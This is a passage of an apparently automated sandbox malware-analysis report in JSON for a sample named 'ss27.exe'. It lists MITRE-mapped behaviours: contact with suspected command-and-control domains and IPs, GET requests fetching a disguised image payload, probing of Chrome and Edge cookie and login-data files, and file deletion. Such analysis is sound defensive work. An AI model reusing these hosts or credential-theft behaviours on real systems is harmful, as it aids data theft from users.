00000000-00001944.00000001.80504.88500000.00000040.mdmp\n 00000000-00001944.00000002.82423.2A32A000.00000002.mdmp\n 00000000-00001944.00000002.82423.87E10000.00000040.mdmp\n 00000000-00001944.00000002.82423.88310000.00000004.mdmp\n 00000000-00001944.00000002.82423.88500000.00000040.mdmp]","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language (API string)","description":"Observed api: \"GetKeyboardLayoutList\"[Source: 3d4182d4be7f38a25e526943f33c8a2cb6c88c23bd7d08e8ee5e6c907a72945d.bin]\n Observed api: \"GetUserDefaultUILanguage\"[Source: 3d4182d4be7f38a25e526943f33c8a2cb6c88c23bd7d08e8ee5e6c907a72945d.bin]\n Observed api: \"GetUserDefaultUILanguage\"[Source: 00000000-00001944.00000000.78582.2A32A000.00000002.mdmp\n 00000000-00001944.00000001.80504.2A32A000.00000002.mdmp\n 00000000-00001944.00000002.82423.2A32A000.00000002.mdmp]\n Observed api: \"GetKeyboardLayoutList\"[Source: 00000000-00001944.00000000.78582.2A32A000.00000002.mdmp\n 00000000-00001944.00000001.80504.2A32A000.00000002.mdmp\n 00000000-00001944.00000002.82423.2A32A000.00000002.mdmp]","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS version (API string)","description":"$29","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Observed API string: \"GetStartupInfo\" [Source: 3d4182d4be7f38a25e526943f33c8a2cb6c88c23bd7d08e8ee5e6c907a72945d.bin]","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"ss27.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"\"ss27.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\"; Key: \"\")\n \"ss27.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\ROOT\\CERTIFICATES\"; Key: \"A031C46782E6E6C662C2C87C76DA9AA62CCABD8E\")\n \"ss27.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\"; Key: \"\")\n \"ss27.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\"; Key: \"A031C46782E6E6C662C2C87C76DA9AA62CCABD8E\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$2a","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"bz.bbbeioaag.com\"\n \"count.iiagjaggg.com\"","origin":"Network Traffic","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"45.136.113.107:80\"\n \"45.66.159.179:80\"\n \"157.240.22.35:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"ShapeCollector.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"General","name":"Contains SQL queries","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1213","relevance":2,"id":"string-16","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"General","name":"Contains ability to modify processes thread functionality (API string)","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"\"Software\\Microsoft\\InputPersonalization\" in Source: 3d4182d4be7f38a25e526943f33c8a2cb6c88c23bd7d08e8ee5e6c907a72945d.bin\n \"Software\\Microsoft\\TPG\\LanguageModel\" in Source: 3d4182d4be7f38a25e526943f33c8a2cb6c88c23bd7d08e8ee5e6c907a72945d.bin\n \"Software\\Microsoft\\TPG\\System Recognizers\" in Source: 3d4182d4be7f38a25e526943f33c8a2cb6c88c23bd7d08e8ee5e6c907a72945d.bin\n \"Software\\Policies\\Microsoft\" in Source: 3d4182d4be7f38a25e526943f33c8a2cb6c88c23bd7d08e8ee5e6c907a72945d.bin\n \"Software\\Policies\\Microsoft\\InputPersonalization\" in Source: 3d4182d4be7f38a25e526943f33c8a2cb6c88c23bd7d08e8ee5e6c907a72945d.bin\n \"Software\\Policies\\Microsoft\\Windows\\TabletPC\" in Source: 3d4182d4be7f38a25e526943f33c8a2cb6c88c23bd7d08e8ee5e6c907a72945d.bin","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1944:304:WilStaging_02\"\n \"\\Sessions\\1\\BaseNamedObjects\\SM0:1944:120:WilError_01\"\n \"Local\\SM0:1944:304:WilStaging_02\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"\n \"SM0:1944:120:WilError_01\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"General","name":"Found API related strings","description":"\"RegDeleteKeyW\" (Indicator: \"RegDeleteKeyW\")\n \"CryptAcquireContextW\" (Indicator: \"CryptAcquireContextW\")\n \"CryptCreateHash\" (Indicator: \"CryptCreateHash\")\n \"CryptHashData\" (Indicator: \"CryptHashData\")\n \"CryptGetHashParam\" (Indicator: \"CryptGetHashParam\")\n \"CryptDestroyHash\" (Indicator: \"CryptDestroyHash\")\n \"CryptReleaseContext\" (Indicator: \"CryptReleaseContext\")\n \"CoInitialize\" (Indicator: \"CoInitialize\")\n \"CoUninitialize\" (Indicator: \"CoUninitialize\")\n \"CoCreateInstance\" (Indicator: \"CoCreateInstance\")\n \"CoTaskMemFree\" (Indicator: \"CoTaskMemFree\")\n \"CreateStreamOnHGlobal\" (Indicator: \"CreateStreamOnHGlobal\")\n \"Shell_NotifyIconW\" (Indicator: \"Shell_NotifyIconW\")\n \"ShellExecuteExW\" (Indicator: \"ShellExecuteExW\")\n \"WerReportCloseHandle\" (Indicator: \"CloseHandle\")\n \"GetDeviceCaps\" (Indicator: \"GetDeviceCaps\")\n \"SelectObject\" (Indicator: \"SelectObject\")\n \"RoundRect\" (Indicator: \"RoundRect\")\n \"GetStockObject\" (Indicator: \"GetStockObject\")\n \"DeleteObject\" (Indicator: \"DeleteObject\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"General","name":"Found a reference to a known community page","description":"$2d","origin":"File/Memory","relevance":7,"id":"string-10","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"General","name":"Found suspicious keywords in script (string)","description":"Observed keyword:\"WinHTTP\" [Source: 00000000-00001944.00000000.78582.86400000.00000004.mdmp\n 00000000-00001944.00000001.80504.86400000.00000004.mdmp\n 00000000-00001944.00000002.82423.86400000.00000004.mdmp]","origin":"File/Memory","relevance":1,"id":"string-154","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"General","name":"Found user-agent related strings","description":"\"Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Zoom 3.6.0; rv:11.0) like Gecko\" (Indicator: \"mozilla/5.0 (\")\" in Source: 00000000-00001944.00000000.78582.86400000.00000004.mdmp\n 00000000-00001944.00000002.82423.86400000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-127","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"\"GET /sts/bimage.jpg HTTP/1.1\nUser-Agent: HTTPREAD\nHost: bz.bbbeioaag.com\nCache-Control: no-cache\"\n \"GET /check/safe HTTP/1.1\nConnection: Keep-Alive\nUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.70\nHost: count.iiagjaggg.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"\"ss27.exe\" loaded module \"API-MS-WIN-CORE-SYNCH-L1-2-0\" at base 8cae0000\n \"ss27.exe\" loaded module \"API-MS-WIN-CORE-FIBERS-L1-1-1\" at base 8cae0000\n \"ss27.exe\" loaded module \"API-MS-WIN-CORE-LOCALIZATION-L1-2-1\" at base 8cae0000\n \"ss27.exe\" loaded module \"KERNEL32\" at base 8f2d0000\n \"ss27.exe\" loaded module \"%WINDIR%\\TEMP\\VXOLE64.DLL\" at base 854c0000\n \"ss27.exe\" loaded module \"KERNEL32.DLL\" at base 8f2d0000\n \"ss27.exe\" loaded module \"RPCRT4.DLL\" at base 8d7e0000\n \"ss27.exe\" loaded module \"SSPICLI.DLL\" at base 8c590000\n \"ss27.exe\" loaded module \"USER32.DLL\" at base 8f140000\n \"ss27.exe\" loaded module \"ONDEMANDCONNROUTEHELPER.DLL\" at base 6dea0000\n \"ss27.exe\" loaded module \"WINHTTP.DLL\" at base 86740000\n \"ss27.exe\" loaded module \"%WINDIR%\\SYSTEM32\\ONDEMANDCONNROUTEHELPER.DLL\" at base 6dea0000\n \"ss27.exe\" loaded module \"MSISO.DLL\" at base 7ad30000\n \"ss27.exe\" loaded module \"%WINDIR%\\SYSTEM32\\MSWSOCK.DLL\" at base 8be90000","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000000000040c7c58cff7f0000@ntdll.dll\"\n \"220023000000000018c7c58cff7f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"3d4182d4be7f38a25e526943f33c8a2cb6c88c23bd7d08e8ee5e6c907a72945d.bin\" has an executable section named \".text\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"3d4182d4be7f38a25e526943f33c8a2cb6c88c23bd7d08e8ee5e6c907a72945d.bin\" has an writable section named \".data\"","origin":"Static Parser","relevance":1,"id":"static-95","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"\"3d4182d4be7f38a25e526943f33c8a2cb6c88c23bd7d08e8ee5e6c907a72945d.bin\" file has an entrypoint instructions - \"sub\trsp, 0x28,call\t0x1400564c4,add\trsp, 0x28,jmp\t0x140055d08,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,nop\tword ptr [rax + rax],cmp\trcx, qword ptr [rip + 0x11079],jne\t0x140055fa9,rol\trcx, 0x10,test\tcx, 0xffff,jne\t0x140055fa5,ret\t,ror\trcx, 0x10,jmp\t0x1400565e4,int3\t,int3\t,int3\t,int3\t,int3\t,int3\t,mov\trax, rsp,mov\tqword ptr [rax + 0x20], r9,mov\tdword ptr [rax + 0x18], r8d,mov\tqword ptr [rax + 0x10], rdx,push\trbx,push\trsi,push\trdi,push\tr14,\"","origin":"Static Parser","relevance":1,"id":"static-96","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"General","name":"PE file has a high image base","description":"\"3d4182d4be7f38a25e526943f33c8a2cb6c88c23bd7d08e8ee5e6c907a72945d.bin\" has high imagebase \"0x140000000\"","origin":"Static Parser","relevance":1,"id":"static-93","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"bz.bbbeioaag.com\"\n \"count.iiagjaggg.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"ss27.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"ss27.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"bimage_1_.jpg\" has type \"JPEG image data JFIF standard 1.01 aspect ratio density 1x1 segment length 16 baseline precision 8 1080x1440 components 3\"- [targetUID: 00000000-00001944]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"ss27.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCache\"\n \"ss27.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCookies\"\n \"ss27.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\History\"\n \"ss27.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\9SSPAW46\\bimage[1].jpg\"\n \"ss27.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\"\n \"ss27.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies\"\n \"ss27.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\History\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$2e","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"\"ss27.exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\LOCAL STATE\"\n \"ss27.exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Google\\Chrome\\User Data\\Local State\"\n \"ss27.exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Network\\COOKIES-WAL\"\n \"ss27.exe\" trying to access non-existent file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\LOGIN DATA-WAL\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to retrieve the URL data","description":"\"ss27.exe\" called \"InternetReadFile\" with parameter 2000000 (UID: 00000000-00001944)","origin":"API Call","mitre_attack_id":"T1105","relevance":3,"id":"api-118","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"Network Related","name":"Found mail related domain names","description":"Observed email domain:\"suppliersmx.smp-automotive.com\" [Source: 00000000-00001944.00000000.78582.86400000.00000004.mdmp\n 00000000-00001944.00000002.82423.88680000.00000004.mdmp]\n Observed email domain:\"smx.smp\" [Source: 00000000-00001944.00000000.78582.86400000.00000004.mdmp]","origin":"File/Memory","mitre_attack_id":"T1071.003","relevance":1,"id":"string-169","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$2f","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"Network Related","name":"Found strings related to cloud services domains (possible C&C communication)","description":"\"docs.google.com\" (Indicator: \"docs.google.com\"; Source: \"00000000-00001944.00000000.78582.86400000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1567.002","relevance":1,"id":"string-186","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"Network Related","name":"HTTP request contains Base64 encoded artifacts","description":"\"m\"\n \"w\"\n \"~\"\n \"]\"\n \"w\"\n \"[\"\n \"s\"\n \"~\"\n \"{\"\n \"{\"\n \"O\"\n \"z\"\n \"o\"\n \"6\"\n \"]\"\n \"s\"\n \"z\"\n \";\"\n \"s\"\n \"\\\"\n \"_\"\n \"s\"\n \"w\"\n \"z\"\n \"u\"\n \"v\"\n \"|\"\n \"}\"\n \"}\"\n \"f\"\n \"M\"\n \";\"\n \"]\"\n \"w\"\n \"x\"\n \"g\"\n \"\\\"\n \"v\"\n \"k\"\n \"o\"\n \"8\"\n \"{\"\n \"y\"\n \"o\"\n \"4\"\n \"5\"","origin":"Network Traffic","mitre_attack_id":"T1132.001","relevance":7,"id":"network-20","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x00000303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"$30","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"\"HTTPS traffic to 157.240.22.35 on port 443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES Encryption","description":"YARA signature for AES encryption matched on file \"bimage_1_.jpg\"\n YARA signature for AES encryption matched on process \"00000000-00001944\"","origin":"YARA Signature","mitre_attack_id":"T1486","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - RC4 Encryption","description":"YARA signature for RC4 encryption matched on file \"bimage_1_.jpg\"\n YARA signature for RC4 encryption matched on process \"00000000-00001944\"\n YARA signature for RC4 encryption matched on file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1486","relevance":5,"id":"yara-104","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to update the user profile (API string)","description":"Observed api string:\"SystemParametersInfoW\" [Source: 3d4182d4be7f38a25e526943f33c8a2cb6c88c23bd7d08e8ee5e6c907a72945d.bin]\n Observed api string:\"SystemParametersInfoW\" [Source: 00000000-00001944.00000000.78582.2A32A000.00000002.mdmp\n 00000000-00001944.00000001.80504.2A32A000.00000002.mdmp\n 00000000-00001944.00000002.82423.2A32A000.00000002.mdmp]","origin":"File/Memory","relevance":1,"id":"string-132","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"ss27.exe\" called \"CreateToolhelp32Snapshot\" (UID: 00000000-00001944)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Observed api string:\"FindNextFileW\" [Source: 00000000-00001944.00000000.78582.87E10000.00000040.mdmp\n 00000000-00001944.00000000.78582.88310000.00000004.mdmp\n 00000000-00001944.00000000.78582.88500000.00000040.mdmp\n 00000000-00001944.00000001.80504.87E10000.00000040.mdmp\n 00000000-00001944.00000001.80504.88310000.00000004.mdmp\n 00000000-00001944.00000001.80504.88500000.00000040.mdmp\n 00000000-00001944.00000002.82423.87E10000.00000040.mdmp\n 00000000-00001944.00000002.82423.88310000.00000004.mdmp\n 00000000-00001944.00000002.82423.88500000.00000040.mdmp]","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about the current system (API string)","description":"Observed api string:\"GetNativeSystemInfo\" [Source: 00000000-00001944.00000000.78582.87E10000.00000040.mdmp\n 00000000-00001944.00000000.78582.88310000.00000004.mdmp\n 00000000-00001944.00000000.78582.88500000.00000040.mdmp\n 00000000-00001944.00000001.80504.87E10000.00000040.mdmp\n 00000000-00001944.00000001.80504.88310000.00000004.mdmp\n 00000000-00001944.00000001.80504.88500000.00000040.mdmp\n 00000000-00001944.00000002.82423.87E10000.00000040.mdmp\n 00000000-00001944.00000002.82423.88310000.00000004.mdmp\n 00000000-00001944.00000002.82423.88500000.00000040.mdmp]","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Observed API string:\"GetModuleFileName\" [Source: 3d4182d4be7f38a25e526943f33c8a2cb6c88c23bd7d08e8ee5e6c907a72945d.bin]\n Observed API string:\"GetModuleFileName\" [Source: 00000000-00001944.00000000.78582.2A32A000.00000002.mdmp\n 00000000-00001944.00000000.78582.87E10000.00000040.mdmp\n 00000000-00001944.00000000.78582.88310000.00000004.mdmp\n 00000000-00001944.00000000.78582.88500000.00000040.mdmp\n 00000000-00001944.00000001.80504.2A32A000.00000002.mdmp\n 00000000-00001944.00000001.80504.87E10000.00000040.mdmp\n 00000000-00001944.00000001.80504.88310000.00000004.mdmp\n 00000000-00001944.00000001.80504.88500000.00000040.mdmp\n 00000000-00001944.00000002.82423.2A32A000.00000002.mdmp\n 00000000-00001944.00000002.82423.87E10000.00000040.mdmp\n 00000000-00001944.00000002.82423.88310000.00000004.mdmp\n 00000000-00001944.00000002.82423.88500000.00000040.mdmp]","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Observed api string:\"GetSystemMetrics\" [Source: 3d4182d4be7f38a25e526943f33c8a2cb6c88c23bd7d08e8ee5e6c907a72945d.bin]\n Observed api string:\"GetSystemMetrics\" [Source: 00000000-00001944.00000000.78582.2A32A000.00000002.mdmp\n 00000000-00001944.00000001.80504.2A32A000.00000002.mdmp\n 00000000-00001944.00000002.82423.2A32A000.00000002.mdmp]","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"ss27.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"suspicious","category":"Cryptographic Related","name":"Found a cryptographic related string","description":"$31","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"9/69 Antivirus vendors marked sample as malicious (13% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"suspicious","category":"General","name":"POSTs data to a webserver","description":"$32","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"$33","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 45.136.113.107 on port 80 is sent without HTTP header\n TCP traffic to 45.66.159.179 on port 80 is sent without HTTP header\n TCP traffic to 157.240.22.35 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"suspicious","category":"Network Related","name":"Uses a User Agent typical for browsers, although no browser was ever launched","description":"Found user agent(s): User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.70","origin":"Network Traffic","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Checks warning level of secure to non-secure traffic redirection","description":"\"ss27.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"WARNONHTTPSTOHTTPREDIRECT\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":7,"id":"registry-9","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"\"api-ms-win-base-bootconfig-l1-1-0\" (Indicator: \"bootconfig\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":10,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found an instant messenger related domain","description":"\"web.whatsapp.com\" (Indicator: \"whatsapp.com\")\n \".skype.com1&0\" (Indicator: \"skype.com\")\n \"community-stage.skype.com1\" (Indicator: \"skype.com\")","origin":"File/Memory","relevance":10,"id":"string-61","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"ss27.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\9SSPAW46\\bimage[1].jpg\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"640b85e2403a86e23402eb9f"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access 